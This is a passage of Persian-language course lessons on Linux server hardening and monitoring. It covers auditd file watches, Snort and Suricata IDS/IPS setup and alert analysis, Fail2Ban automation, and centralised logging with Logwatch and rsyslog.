با این تنظیمات، Fail2Ban از سرور شما در برابر حملات مداوم محافظت می‌کند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”نحوه استفاده از auditd برای نظارت بر تغییرات سیستم” subtitle=”توضیحات کامل”]Auditd یکی از ابزارهای قدرتمند لینوکس برای نظارت بر تغییرات فایل‌ها، اجرای دستورات، و رویدادهای امنیتی سیستم است. این ابزار به مدیران سرور کمک می‌کند که هرگونه تغییر مشکوک را شناسایی و بررسی کنند.

در این بخش، نحوه نصب، پیکربندی، و استفاده از auditd برای نظارت بر تغییرات سیستم را با مثال‌های عملی بررسی می‌کنیم.


۱. نصب و راه‌اندازی auditd

۱.۱. نصب auditd

در Ubuntu/Debian:

sudo apt install auditd audispd-plugins -y

در CentOS/RHEL:

sudo yum install audit -y

۱.۲. فعال‌سازی و بررسی وضعیت سرویس
sudo systemctl enable --now auditd
sudo systemctl status auditd
  • سرویس auditd را فعال کرده و بررسی می‌کنیم که به درستی اجرا شده باشد.

۲. پیکربندی auditd برای نظارت بر تغییرات فایل‌ها

۲.۱. مانیتور کردن تغییرات یک فایل خاص

به‌عنوان مثال، برای نظارت بر تغییرات فایل /etc/passwd، دستور زیر را اجرا می‌کنیم:

sudo auditctl -w /etc/passwd -p wa -k passwd_changes
  • -w /etc/passwd → مسیر فایلی که نظارت می‌شود.
  • -p wa → مجوزهای نظارت (w: تغییر فایل، a: دسترسی به آن).
  • -k passwd_changes → برچسب (Key) برای گزارشات لاگ‌ها.

بررسی قوانین ثبت‌شده:

sudo auditctl -l
  • این دستور تمامی قوانین فعال را نمایش می‌دهد.

۲.۲. نظارت بر کل یک دایرکتوری

اگر بخواهیم تمام تغییرات در /etc/ssh/ را ثبت کنیم:

sudo auditctl -w /etc/ssh/ -p wa -k ssh_config_changes
  • هر تغییری در فایل‌های پیکربندی SSH ثبت خواهد شد.

۳. نظارت بر اجرای دستورات خاص

برای نظارت بر اجرای یک دستور خاص (مثلاً nano):

sudo auditctl -a always,exit -F path=/usr/bin/nano -F perm=x -k nano_execution
  • -a always,exit → ثبت اجرای دستور هنگام خروج.
  • -F path=/usr/bin/nano → نظارت بر مسیر باینری nano.
  • -F perm=x → نظارت بر اجرای (execute) این فایل.
  • -k nano_execution → برچسب برای فیلتر کردن لاگ‌ها.

۴. مشاهده لاگ‌های auditd

۴.۱. مشاهده گزارشات ثبت‌شده

برای مشاهده رویدادهای ثبت‌شده:

sudo ausearch -k passwd_changes
  • این دستور همه لاگ‌های مرتبط با تغییرات فایل /etc/passwd را نمایش می‌دهد.

۴.۲. فیلتر کردن لاگ‌ها بر اساس کاربر

مشاهده تغییرات انجام‌شده توسط یک کاربر خاص (مثلاً user1):

sudo ausearch -ua $(id -u user1)
  • تمامی فعالیت‌های کاربر user1 نمایش داده خواهد شد.

۴.۳. مشاهده تغییرات اخیر در سیستم

برای مشاهده تمامی تغییرات اخیر:

sudo aureport -f -i
  • این دستور فایل‌هایی که اخیراً تغییر کرده‌اند را نمایش می‌دهد.

۵. تنظیم قوانین دائمی در auditd

قوانین auditctl بعد از ریستارت سیستم از بین می‌روند. برای دائمی کردن آن‌ها، باید در فایل /etc/audit/rules.d/audit.rules ثبت شوند.

مثال:

sudo nano /etc/audit/rules.d/audit.rules

و اضافه کردن قوانین زیر:

-w /etc/passwd -p wa -k passwd_changes
-w /etc/ssh/ -p wa -k ssh_config_changes
-a always,exit -F path=/usr/bin/nano -F perm=x -k nano_execution

سپس برای اعمال تغییرات:

sudo systemctl restart auditd

۶. تنظیم محدودیت اندازه لاگ‌ها

برای جلوگیری از پر شدن فضای دیسک، می‌توان اندازه لاگ‌های auditd را محدود کرد.

ویرایش فایل پیکربندی:

sudo nano /etc/audit/auditd.conf

و تنظیم موارد زیر:

max_log_file = 50
num_logs = 5
  • max_log_file = 50 → حداکثر حجم لاگ‌ها ۵۰ مگابایت تنظیم می‌شود.
  • num_logs = 5 → ۵ نسخه از لاگ‌ها نگهداری می‌شود و قدیمی‌ترین آن حذف خواهد شد.

اعمال تغییرات:

sudo systemctl restart auditd

۷. حذف یک قانون از auditd

اگر بخواهیم یک قانون نظارت را حذف کنیم، ابتدا لیست قوانین را می‌بینیم:

sudo auditctl -l

سپس برای حذف یک قانون خاص (مثلاً نظارت بر /etc/passwd):

sudo auditctl -W /etc/passwd -p wa -k passwd_changes

جمع‌بندی

✅ نصب و راه‌اندازی auditd برای نظارت بر تغییرات سیستم.
✅ ایجاد قوانین نظارت برای ثبت تغییرات فایل‌ها و اجرای دستورات.
✅ مشاهده و تحلیل لاگ‌های ثبت‌شده با ausearch و aureport.
✅ ثبت قوانین دائمی برای جلوگیری از حذف بعد از ریستارت سیستم.
✅ مدیریت حجم لاگ‌ها برای بهینه‌سازی ذخیره‌سازی.

با استفاده از auditd می‌توان هرگونه تغییرات مشکوک یا غیرمجاز در سیستم را شناسایی کرد و اقدامات امنیتی مناسب را انجام داد.[/cdb_course_lesson][cdb_course_lesson title=”فصل 2. امنیت شبکه و سیستم”][/cdb_course_lesson][cdb_course_lesson title=”IDS/IPS”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”معرفی و پیکربندی Snort به عنوان سیستم تشخیص نفوذ (IDS)” subtitle=”توضیحات کامل”]Snort یک سیستم تشخیص نفوذ (IDS – Intrusion Detection System) متن‌باز است که می‌تواند ترافیک شبکه را آنالیز و تهدیدات امنیتی را شناسایی کند. این ابزار توسط Cisco توسعه داده شده و امکان استفاده به عنوان سیستم پیشگیری از نفوذ (IPS – Intrusion Prevention System) را نیز دارد.

در این بخش، نصب، پیکربندی و استفاده از Snort برای شناسایی تهدیدات شبکه به صورت جامع بررسی خواهد شد.


۱. نصب Snort در لینوکس

در Debian/Ubuntu:
apt update && apt install snort -y
در CentOS/RHEL:
yum install epel-release -y
yum install snort -y
مشاهده نسخه Snort:
snort -V

۲. پیکربندی اولیه Snort

مسیر فایل‌های پیکربندی Snort:
فایل مسیر
فایل اصلی پیکربندی /etc/snort/snort.conf
دایرکتوری قوانین /etc/snort/rules/
لاگ‌های IDS /var/log/snort/
ویرایش فایل تنظیمات اصلی:
nano /etc/snort/snort.conf
تنظیم مقدار ipvar HOME_NET (آدرس شبکه داخلی):
ipvar HOME_NET 192.168.1.0/24
تنظیم مقدار ipvar EXTERNAL_NET (شبکه خارجی):
ipvar EXTERNAL_NET any
تعریف مسیر قوانین Snort:
var RULE_PATH /etc/snort/rules

۳. ایجاد قوانین اولیه برای شناسایی تهدیدات

ایجاد یک قانون ساده برای شناسایی Ping Sweep:
nano /etc/snort/rules/local.rules

و اضافه کردن قانون زیر:

alert icmp any any -> $HOME_NET any (msg:"Ping Sweep Detected"; sid:1000001; rev:1;)
افزودن فایل local.rules به پیکربندی اصلی:
include $RULE_PATH/local.rules

ریستارت کردن Snort برای اعمال تنظیمات:

systemctl restart snort

۴. اجرای Snort در حالت مختلف

۱) اجرای Snort در حالت تست (Sniffer Mode):
snort -vde
۲) اجرای Snort در حالت Packet Logger:
snort -dev -l /var/log/snort/
۳) اجرای Snort در حالت IDS (با قوانین فعال):
snort -c /etc/snort/snort.conf -i eth0
۴) مشاهده لاگ‌های تولید شده توسط Snort:
cat /var/log/snort/alert

۵. تنظیم Snort برای ارسال هشدار به syslog

ویرایش فایل snort.conf و افزودن تنظیمات مربوط به syslog:
output alert_syslog: LOG_AUTH LOG_ALERT
ریستارت Snort برای اعمال تنظیمات جدید:
systemctl restart snort
مشاهده هشدارهای Snort در syslog:
tail -f /var/log/syslog | grep snort

۶. بروزرسانی و مدیریت قوانین Snort

۱) دانلود و بروزرسانی قوانین از snort.org:
cd /etc/snort/rules/
wget https://www.snort.org/rules/snortrules-snapshot-2990.tar.gz
tar -xvzf snortrules-snapshot-2990.tar.gz
۲) حذف قوانین قدیمی:
rm -rf /etc/snort/rules/*.rules
۳) افزودن قوانین جدید به snort.conf:
include $RULE_PATH/community.rules
include $RULE_PATH/emerging-threats.rules

ریستارت Snort برای اعمال قوانین جدید:

systemctl restart snort

۷. استفاده از Snort به عنوان IPS

اگر بخواهید Snort را در حالت سیستم پیشگیری از نفوذ (IPS) اجرا کنید، باید ترافیک را فیلتر کند.

۱) نصب iptables برای مسیریابی ترافیک به Snort:
apt install iptables -y  # برای Debian/Ubuntu
yum install iptables -y  # برای CentOS/RHEL
۲) تنظیم iptables برای ارسال ترافیک به Snort:
iptables -A INPUT -j QUEUE
۳) اجرای Snort در حالت IPS:
snort -Q --daq ipq -c /etc/snort/snort.conf -i eth0

۸. تنظیمات پیشرفته و بهینه‌سازی Snort

۱) افزایش حافظه بافر برای بهبود عملکرد:
config detection: search-method ac
۲) تنظیم Snort برای پردازش چند رشته‌ای (Multi-threading) در snort.conf:
config binding: cpu_set 0,1,2,3
۳) تنظیم Snort برای کاهش False Positive:
config threshold: track by_src, count 10, seconds 60

۹. مشاهده و تجزیه و تحلیل هشدارها

۱) نمایش هشدارهای ثبت‌شده در Snort:
cat /var/log/snort/alert
۲) مشاهده هشدارهای اخیر با tail:
tail -f /var/log/snort/alert
۳) جستجوی یک IP خاص در هشدارها:
grep "192.168.1.100" /var/log/snort/alert

جمع‌بندی

  • Snort یک سیستم تشخیص نفوذ (IDS) و پیشگیری از نفوذ (IPS) است که می‌تواند تهدیدات شبکه را شناسایی کند.
  • با پیکربندی مناسب، Snort می‌تواند هشدارهای امنیتی دقیق و بدون خطای زیاد (False Positive) ارائه دهد.
  • قوانین Snort باید به‌طور مداوم بروزرسانی شوند تا بتواند تهدیدات جدید را شناسایی کند.
  • می‌توان Snort را با syslog و iptables ادغام کرد تا نظارت و امنیت شبکه بهینه‌تر شود.

با اجرای این تنظیمات، Snort به عنوان یک لایه امنیتی قوی برای مانیتورینگ و محافظت از شبکه شما عمل خواهد کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از Suricata برای نظارت و تحلیل ترافیک شبکه” subtitle=”توضیحات کامل”]Suricata یک سیستم تشخیص نفوذ (IDS)، سیستم پیشگیری از نفوذ (IPS) و تحلیلگر ترافیک شبکه (NSM) است که می‌تواند ترافیک شبکه را بررسی و تحلیل کند. این ابزار متن‌باز بوده و قابلیت پردازش چندرشته‌ای (multi-threading) دارد که باعث بهبود عملکرد و کارایی آن در مقایسه با Snort می‌شود.

در این بخش، نصب، پیکربندی و استفاده از Suricata برای نظارت بر شبکه و تحلیل ترافیک به‌صورت جامع بررسی خواهد شد.


۱. نصب Suricata در لینوکس

نصب در Debian/Ubuntu:
sudo add-apt-repository ppa:oisf/suricata-stable -y
sudo apt update
sudo apt install suricata -y
نصب در CentOS/RHEL:
sudo yum install epel-release -y
sudo yum install suricata -y
مشاهده نسخه Suricata برای اطمینان از نصب صحیح:
suricata --build-info

۲. تنظیمات اولیه Suricata

مسیر فایل‌های پیکربندی Suricata:
فایل مسیر
فایل اصلی پیکربندی /etc/suricata/suricata.yaml
دایرکتوری قوانین /etc/suricata/rules/
لاگ‌های IDS /var/log/suricata/
ویرایش فایل suricata.yaml و تنظیم مقدار HOME_NET
sudo nano /etc/suricata/suricata.yaml

و تغییر مقدار HOME_NET برای تعریف شبکه داخلی:

vars:
  address-groups:
    HOME_NET: "[192.168.1.0/24]"
    EXTERNAL_NET: "!$HOME_NET"

۳. اجرای Suricata در حالت‌های مختلف

۱) اجرای Suricata در حالت نظارت (IDS Mode):
sudo suricata -c /etc/suricata/suricata.yaml -i eth0
۲) اجرای Suricata در حالت ثبت لاگ (NSM – Network Security Monitoring Mode):
sudo suricata -c /etc/suricata/suricata.yaml -i eth0 --pcap
۳) مشاهده لاگ‌های Suricata:
tail -f /var/log/suricata/fast.log

۴. ایجاد و تنظیم قوانین برای شناسایی تهدیدات

ایجاد یک قانون برای شناسایی پینگ (ICMP Ping Detection)
sudo nano /etc/suricata/rules/local.rules

افزودن قانون زیر به فایل:

alert icmp any any -> $HOME_NET any (msg:"ICMP Ping Detected"; sid:1000001; rev:1;)
افزودن local.rules به فایل suricata.yaml
rule-files:
  - local.rules
ریستارت کردن Suricata برای اعمال تنظیمات جدید
sudo systemctl restart suricata
مشاهده هشدارهای ثبت‌شده:
sudo tail -f /var/log/suricata/fast.log

۵. بروزرسانی قوانین Suricata

۱) نصب suricata-update برای دانلود قوانین جدید:
sudo apt install suricata-update -y  # برای Ubuntu/Debian
sudo yum install suricata-update -y  # برای CentOS/RHEL
۲) بروزرسانی قوانین:
sudo suricata-update
۳) ریستارت کردن Suricata پس از بروزرسانی قوانین:
sudo systemctl restart suricata

۶. تنظیم Suricata برای ارسال هشدارها به Syslog

ویرایش فایل suricata.yaml و فعال‌سازی ارسال هشدارها به Syslog
outputs:
  - fast:
      enabled: yes
      filename: /var/log/suricata/fast.log
  - syslog:
      enabled: yes
      facility: local5
      format: "[Suricata] [%i] %m"
ریستارت کردن سرویس برای اعمال تغییرات
sudo systemctl restart suricata
مشاهده هشدارهای Suricata در Syslog
sudo tail -f /var/log/syslog | grep Suricata

۷. استفاده از Suricata در حالت IPS

۱) تنظیم iptables برای ارسال ترافیک به Suricata
sudo iptables -I INPUT -j NFQUEUE
sudo iptables -I OUTPUT -j NFQUEUE
۲) اجرای Suricata در حالت IPS:
sudo suricata -c /etc/suricata/suricata.yaml --af-packet
۳) مشاهده و ثبت لاگ‌های بلاک‌شده:
sudo tail -f /var/log/suricata/drop.log

۸. مشاهده و تحلیل ترافیک شبکه با Suricata

۱) ثبت تمام بسته‌های شبکه و ذخیره در فایل pcap:
sudo suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata --pcap
۲) مشاهده ترافیک ثبت‌شده در Wireshark:
wireshark /var/log/suricata/capture.pcap
۳) بررسی هشدارهای اخیر با tail
sudo tail -f /var/log/suricata/fast.log
۴) جستجوی یک IP خاص در لاگ‌ها:
sudo grep "192.168.1.100" /var/log/suricata/fast.log

۹. بهینه‌سازی عملکرد Suricata

۱) افزایش حافظه برای پردازش سریع‌تر:
max-pending-packets: 50000
۲) فعال کردن پردازش چندرشته‌ای:
detect-thread-ratio: 1.5
۳) کاهش نرخ False Positive در تشخیص تهدیدات:
threshold:
  default:
    track: by_src
    count: 10
    seconds: 60

جمع‌بندی

  • Suricata یک سیستم تشخیص نفوذ (IDS)، سیستم پیشگیری از نفوذ (IPS) و تحلیلگر ترافیک شبکه (NSM) است که امکان تحلیل ترافیک شبکه را با دقت بالا فراهم می‌کند.
  • به دلیل پشتیبانی از پردازش چندرشته‌ای، عملکرد بهتری نسبت به Snort دارد.
  • Suricata را می‌توان برای مانیتورینگ، شناسایی تهدیدات، تحلیل لاگ‌ها و پیشگیری از حملات سایبری استفاده کرد.
  • با ترکیب Suricata و iptables می‌توان یک فایروال هوشمند و انعطاف‌پذیر ایجاد کرد.

با اجرای این تنظیمات، Suricata به عنوان یک ابزار قدرتمند برای تحلیل و نظارت بر امنیت شبکه شما عمل خواهد کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تحلیل گزارشات IDS/IPS و واکنش به تهدیدات” subtitle=”توضیحات کامل”]سیستم‌های تشخیص نفوذ (IDS) و سیستم‌های پیشگیری از نفوذ (IPS) نقش مهمی در امنیت شبکه دارند. IDS‌ها وظیفه شناسایی تهدیدات را بر عهده دارند، در حالی که IPS‌ها علاوه بر شناسایی، قادر به جلوگیری از حملات نیز هستند.

در این بخش، به تحلیل گزارشات IDS/IPS و نحوه واکنش به تهدیدات شناسایی‌شده می‌پردازیم. ابزارهای مورد استفاده شامل Suricata، Snort، Fail2Ban و ELK Stack خواهند بود.


۱. بررسی لاگ‌های IDS/IPS و تشخیص حملات

هر IDS/IPS لاگ‌های مربوط به حملات را در مسیر مشخصی ذخیره می‌کند. بسته به ابزار استفاده‌شده، مسیر لاگ‌ها می‌تواند متفاوت باشد.

مسیر لاگ‌های مهم در Suricata:
نوع لاگ مسیر
لاگ هشدارها /var/log/suricata/fast.log
لاگ بسته‌های ضبط‌شده /var/log/suricata/capture.pcap
لاگ حملات بلاک‌شده (در حالت IPS) /var/log/suricata/drop.log
بررسی سریع لاگ هشدارهای Suricata:
sudo tail -f /var/log/suricata/fast.log
جستجوی هشدارهای مرتبط با یک IP خاص:
sudo grep "192.168.1.100" /var/log/suricata/fast.log
بررسی بسته‌های ضبط‌شده در Wireshark:
wireshark /var/log/suricata/capture.pcap
تحلیل لاگ‌های بلاک‌شده توسط IPS:
sudo cat /var/log/suricata/drop.log

۲. شناسایی نوع تهدید از طریق SID و دسته‌بندی حملات

هشدارهای IDS/IPS معمولاً دارای شناسه قوانین (SID – Signature ID) هستند که نشان می‌دهد کدام قانون باعث تولید هشدار شده است. برای تحلیل یک تهدید، باید SID را در پایگاه داده قوانین جستجو کنیم.

پیدا کردن SID در لاگ‌ها:
sudo cat /var/log/suricata/fast.log | grep "sid:"
جستجوی SID در قوانین Suricata:
sudo grep "1000001" /etc/suricata/rules/*.rules
مثال یک هشدار در لاگ Suricata:
02/28/2025-10:45:23.456789  [**] [1:1000001:1] ICMP Ping Detected [**] 
[Classification: Attempted Information Leak] [Priority: 2] 
{ICMP} 192.168.1.50 -> 192.168.1.100

در این مثال:

  • SID: 1000001
  • نوع حمله: Ping Sweep
  • اولویت (Priority): 2 (متوسط)
  • آدرس مبدا: 192.168.1.50
  • آدرس مقصد: 192.168.1.100

مراحل بعدی: بررسی اینکه آیا این هشدار یک تهدید واقعی است یا یک False Positive.


۳. واکنش به تهدیدات شناسایی‌شده

بسته به شدت تهدید، اقدامات لازم برای واکنش به حملات شامل بلاک‌کردن IPهای مخرب، تغییر قوانین فایروال، هشدارهای خودکار و تحلیل بیشتر است.

الف) بلاک‌کردن IP مخرب با iptables
sudo iptables -A INPUT -s 192.168.1.50 -j DROP
ب) اضافه کردن IP به لیست بلاک Fail2Ban
sudo fail2ban-client set sshd banip 192.168.1.50
ج) ارسال هشدار ایمیلی با Logwatch
sudo logwatch --detail high --mailto admin@example.com

۴. اتوماسیون واکنش به تهدیدات با Fail2Ban

Fail2Ban ابزاری برای شناسایی و بلاک خودکار IPهای مشکوک است. در اینجا نحوه افزودن قوانین Fail2Ban برای بلاک تهدیدات IDS بررسی می‌شود.

ویرایش فایل Jail برای بلاک کردن حملات شناسایی‌شده توسط Suricata
sudo nano /etc/fail2ban/jail.local

افزودن پیکربندی زیر:

[suricata]
enabled = true
filter = suricata
logpath = /var/log/suricata/fast.log
maxretry = 3
bantime = 3600
ایجاد فیلتر برای شناسایی حملات در Suricata
sudo nano /etc/fail2ban/filter.d/suricata.conf

افزودن الگوی زیر برای شناسایی آی‌پی‌های مشکوک:

[Definition]
failregex = \[.*?\] \[.*?\] .*? \[Classification: .*?\] .*? {.*?} <HOST> -> .*
ریستارت کردن Fail2Ban برای اعمال تغییرات
sudo systemctl restart fail2ban
مشاهده لیست آی‌پی‌های بلاک‌شده:
sudo fail2ban-client status suricata

۵. تجزیه و تحلیل لاگ‌های IDS/IPS با ELK Stack

برای مدیریت بهتر لاگ‌های امنیتی و تحلیل دقیق‌تر، می‌توان از ELK Stack (Elasticsearch, Logstash, Kibana) استفاده کرد.

نصب Filebeat برای ارسال لاگ‌های IDS به ELK
sudo apt install filebeat -y
ویرایش پیکربندی Filebeat برای جمع‌آوری لاگ‌های Suricata
sudo nano /etc/filebeat/filebeat.yml

افزودن پیکربندی زیر:

filebeat.inputs:
  - type: log
    enabled: true
    paths:
      - /var/log/suricata/fast.log
    fields:
      log_type: suricata
ریستارت کردن Filebeat برای ارسال لاگ‌ها به ELK
sudo systemctl restart filebeat
تحلیل گرافیکی لاگ‌ها در Kibana

پس از ارسال لاگ‌ها، می‌توان در Kibana از Dashboardهای امنیتی برای بررسی تهدیدات استفاده کرد.


۶. جلوگیری از False Positive و بهینه‌سازی قوانین IDS

برخی حملات ممکن است False Positive باشند و نیاز به تنظیم قوانین دقیق‌تر دارند.

الف) کاهش هشدارهای کاذب در Suricata
threshold:
  default:
    track: by_src
    count: 5
    seconds: 60
ب) نادیده گرفتن یک IP خاص (Whitelisting)
vars:
  address-groups:
    IGNORE_NETS: "[192.168.1.1]"
ج) به‌روزرسانی Suricata برای دریافت قوانین جدید:
sudo suricata-update
sudo systemctl restart suricata

جمع‌بندی

  • برای تحلیل گزارشات IDS/IPS، باید لاگ‌ها بررسی شده و تهدیدات شناسایی شوند.
  • واکنش به تهدیدات شامل بلاک‌کردن IPها، ارسال هشدارها و تغییر تنظیمات امنیتی است.
  • Fail2Ban می‌تواند برای بلاک خودکار آی‌پی‌های مشکوک مورد استفاده قرار گیرد.
  • با استفاده از ELK Stack، امکان تحلیل گرافیکی و تجزیه و تحلیل دقیق لاگ‌ها وجود دارد.
  • برای کاهش هشدارهای کاذب، باید قوانین IDS بهینه‌سازی شوند.

این روش‌ها به شما کمک می‌کنند تا امنیت شبکه را تقویت کرده و به تهدیدات در سریع‌ترین زمان ممکن واکنش نشان دهید.[/cdb_course_lesson][cdb_course_lesson title=”نظارت و آنالیز لاگ‌ها”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزارهای Logwatch و Syslog برای جمع‌آوری لاگ‌ها” subtitle=”توضیحات کامل”]یکی از مهم‌ترین بخش‌های مدیریت امنیت و مانیتورینگ سرورها، جمع‌آوری، تحلیل و بررسی لاگ‌ها است. ابزارهای Logwatch و Syslog دو مورد از پرکاربردترین ابزارها برای نظارت بر لاگ‌های سیستمی و امنیتی هستند.

در این بخش، نحوه نصب، پیکربندی و استفاده از Logwatch و Syslog برای جمع‌آوری و تحلیل لاگ‌ها را بررسی می‌کنیم.


۱. معرفی Logwatch و کاربرد آن

Logwatch یک ابزار تحلیل لاگ است که به مدیران سیستم اجازه می‌دهد گزارش‌های خلاصه‌شده و دقیق از لاگ‌های سیستم دریافت کنند. این ابزار معمولاً برای شناسایی فعالیت‌های مشکوک، تحلیل ورودهای ناموفق و مانیتورینگ سرویس‌ها استفاده می‌شود.

ویژگی‌های کلیدی Logwatch:
  • جمع‌آوری و دسته‌بندی لاگ‌ها از مسیرهای مختلف
  • ارسال گزارش‌های منظم از لاگ‌های سیستم از طریق ایمیل
  • قابلیت سفارشی‌سازی گزارش‌ها

۲. نصب و پیکربندی Logwatch

نصب Logwatch در سیستم‌های Debian/Ubuntu:
sudo apt update && sudo apt install logwatch -y
نصب Logwatch در سیستم‌های RHEL/CentOS:
sudo yum install logwatch -y
ویرایش تنظیمات اصلی Logwatch

فایل تنظیمات اصلی Logwatch در مسیر /etc/logwatch/conf/logwatch.conf قرار دارد. برای ویرایش آن از دستور زیر استفاده کنید:

sudo nano /etc/logwatch/conf/logwatch.conf

چند گزینه مهم برای تنظیم:

Detail = High  # میزان جزئیات گزارش (Low، Medium، High)
MailTo = admin@example.com  # آدرس ایمیل دریافت گزارش‌ها
Service = All  # فعال‌سازی گزارش‌گیری از همه سرویس‌ها
Range = yesterday  # تعیین بازه زمانی گزارش‌ها
اجرای Logwatch به‌صورت دستی و نمایش خروجی در ترمینال:
sudo logwatch --detail High --print
اجرای Logwatch و ارسال گزارش به ایمیل:
sudo logwatch --output mail --mailto admin@example.com --detail High
زمان‌بندی اجرای Logwatch با Cronjob

برای اجرای خودکار Logwatch هر روز ساعت ۲ بامداد، کرون‌جاب زیر را اضافه کنید:

sudo crontab -e

افزودن خط زیر:

0 2 * * * /usr/sbin/logwatch --output mail --mailto admin@example.com --detail High

۳. معرفی و کاربرد Syslog

Syslog یکی از استانداردهای اصلی برای مدیریت و انتقال لاگ‌های سیستم است. این پروتکل به مدیران سیستم امکان می‌دهد لاگ‌ها را از چندین منبع جمع‌آوری کرده و در یک سرور مرکزی ذخیره کنند.

ویژگی‌های کلیدی Syslog:
  • ارسال لاگ‌های سیستم به یک سرور مرکزی
  • پشتیبانی از چندین سطح لاگ مانند error، info و debug
  • امکان فیلتر کردن و مرتب‌سازی لاگ‌ها

در این بخش از rsyslog که یک نسخه بهبودیافته از Syslog است، استفاده خواهیم کرد.


۴. نصب و پیکربندی rsyslog

نصب rsyslog در Debian/Ubuntu:
sudo apt update && sudo apt install rsyslog -y
نصب rsyslog در RHEL/CentOS:
sudo yum install rsyslog -y
فعال‌سازی و راه‌اندازی سرویس rsyslog:
sudo systemctl enable rsyslog
sudo systemctl start rsyslog
بررسی وضعیت سرویس rsyslog:
sudo systemctl status rsyslog
مشاهده لاگ‌های جمع‌آوری‌شده توسط rsyslog:
sudo tail -f /var/log/syslog

۵. پیکربندی سرور مرکزی Syslog

برای راه‌اندازی یک سرور مرکزی Syslog که لاگ‌های دیگر سرورها را جمع‌آوری کند، مراحل زیر را انجام دهید:

ویرایش فایل تنظیمات rsyslog در سرور مرکزی:
sudo nano /etc/rsyslog.conf

افزودن خطوط زیر برای پذیرش لاگ‌های ورودی از کلاینت‌ها:

# فعال‌سازی دریافت لاگ‌ها از طریق UDP
$ModLoad imudp
$UDPServerRun 514

# فعال‌سازی دریافت لاگ‌ها از طریق TCP
$ModLoad imtcp
$InputTCPServerRun 514
ریستارت کردن سرویس rsyslog برای اعمال تغییرات:
sudo systemctl restart rsyslog
ایجاد یک دایرکتوری برای لاگ‌های ورودی از کلاینت‌ها:
sudo mkdir -p /var/log/remote
افزودن تنظیمات ذخیره لاگ‌های کلاینت در فایل جداگانه:
sudo nano /etc/rsyslog.d/remote.conf

افزودن پیکربندی زیر:

$template RemoteLogs,"/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log"
*.* ?RemoteLogs
ریستارت مجدد سرویس rsyslog:
sudo systemctl restart rsyslog

۶. پیکربندی کلاینت برای ارسال لاگ‌ها به سرور مرکزی

ویرایش تنظیمات rsyslog در کلاینت:
sudo nano /etc/rsyslog.conf

افزودن این خطوط برای ارسال لاگ‌ها به سرور مرکزی:

*.* @192.168.1.10:514  # ارسال از طریق UDP
*.* @@192.168.1.10:514 # ارسال از طریق TCP

نکته: 192.168.1.10 باید با آدرس سرور Syslog جایگزین شود.

ریستارت کردن سرویس rsyslog در کلاینت:
sudo systemctl restart rsyslog

۷. تجزیه و تحلیل لاگ‌های جمع‌آوری‌شده

نمایش لاگ‌های دریافتی از کلاینت‌های مختلف:
sudo ls /var/log/remote/
مشاهده لاگ‌های یک کلاینت خاص:
sudo tail -f /var/log/remote/server1/syslog.log
فیلتر کردن لاگ‌های مربوط به یک سرویس خاص:
sudo grep "sshd" /var/log/remote/server1/syslog.log

۸. ترکیب Logwatch و rsyslog برای تحلیل دقیق‌تر لاگ‌ها

می‌توان از Logwatch در سرور Syslog مرکزی استفاده کرد تا گزارشات لاگ‌های دریافت‌شده از کلاینت‌ها را خلاصه و ارسال کند.

ویرایش فایل تنظیمات Logwatch:
sudo nano /etc/logwatch/conf/logwatch.conf

افزودن مسیر لاگ‌های سرور مرکزی:

LogFile = /var/log/remote/*
اجرای دستی Logwatch در سرور Syslog مرکزی:
sudo logwatch --detail High --print

جمع‌بندی

  • Logwatch ابزاری برای تحلیل و ارسال گزارش‌های امنیتی از لاگ‌های سیستم است.
  • rsyslog امکان جمع‌آوری، ارسال و ذخیره لاگ‌ها در یک سرور مرکزی را فراهم می‌کند.
  • با استفاده از یک سرور مرکزی Syslog، می‌توان لاگ‌های چندین سرور را مدیریت و نظارت کرد.
  • برای تحلیل بهتر لاگ‌ها، می‌توان از ترکیب Logwatch و rsyslog استفاده کرد.

این روش‌ها به مدیران سیستم کمک می‌کنند به‌سرعت فعالیت‌های مشکوک را شناسایی کرده و امنیت شبکه را افزایش دهند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”آنالیز لاگ‌ها و شناسایی حملات احتمالی” subtitle=”توضیحات کامل”]در امنیت سیستم‌ها، آنالیز لاگ‌ها یکی از مهم‌ترین اقدامات برای شناسایی حملات احتمالی است. تحلیل دقیق لاگ‌های سرور، شبکه و اپلیکیشن‌ها به مدیران کمک می‌کند تا فعالیت‌های مشکوک، حملات Brute Force، تلاش‌های نفوذ، بدافزارها و سایر تهدیدات امنیتی را شناسایی کنند.

در این بخش، روش‌های کاربردی برای جمع‌آوری، فیلتر کردن و تحلیل لاگ‌ها با ابزارهای مختلف بررسی خواهد شد.


۱. انواع لاگ‌های مهم برای تحلیل امنیتی

لاگ‌های سیستم‌عامل:
  • /var/log/syslog → لاگ‌های عمومی سیستم
  • /var/log/auth.log → لاگ‌های مربوط به ورود و احراز هویت (Debian/Ubuntu)
  • /var/log/secure → لاگ‌های احراز هویت (RHEL/CentOS)
  • /var/log/kern.log → لاگ‌های کرنل سیستم
لاگ‌های شبکه:
  • /var/log/iptables.log → لاگ‌های فایروال iptables
  • /var/log/nftables.log → لاگ‌های فایروال nftables
  • /var/log/suricata/ → لاگ‌های IDS/IPS مثل Suricata یا Snort
لاگ‌های سرویس‌ها و برنامه‌ها:
  • /var/log/nginx/access.log و /var/log/nginx/error.log → لاگ‌های سرور Nginx
  • /var/log/apache2/access.log و /var/log/apache2/error.log → لاگ‌های سرور Apache
  • /var/log/mysql.log → لاگ‌های دیتابیس MySQL
  • /var/log/mail.log → لاگ‌های سرور ایمیل

۲. ابزارهای مورد استفاده برای آنالیز لاگ‌ها

۱. journalctl → مشاهده لاگ‌های سیستم در لینوکس

مشاهده لاگ‌های اخیر:

journalctl -n 50

مشاهده لاگ‌های مربوط به SSH:

journalctl -u sshd --since "1 hour ago"

مشاهده لاگ‌های ناموفق ورود:

journalctl -u sshd | grep "Failed password"
۲. grep → فیلتر کردن لاگ‌ها

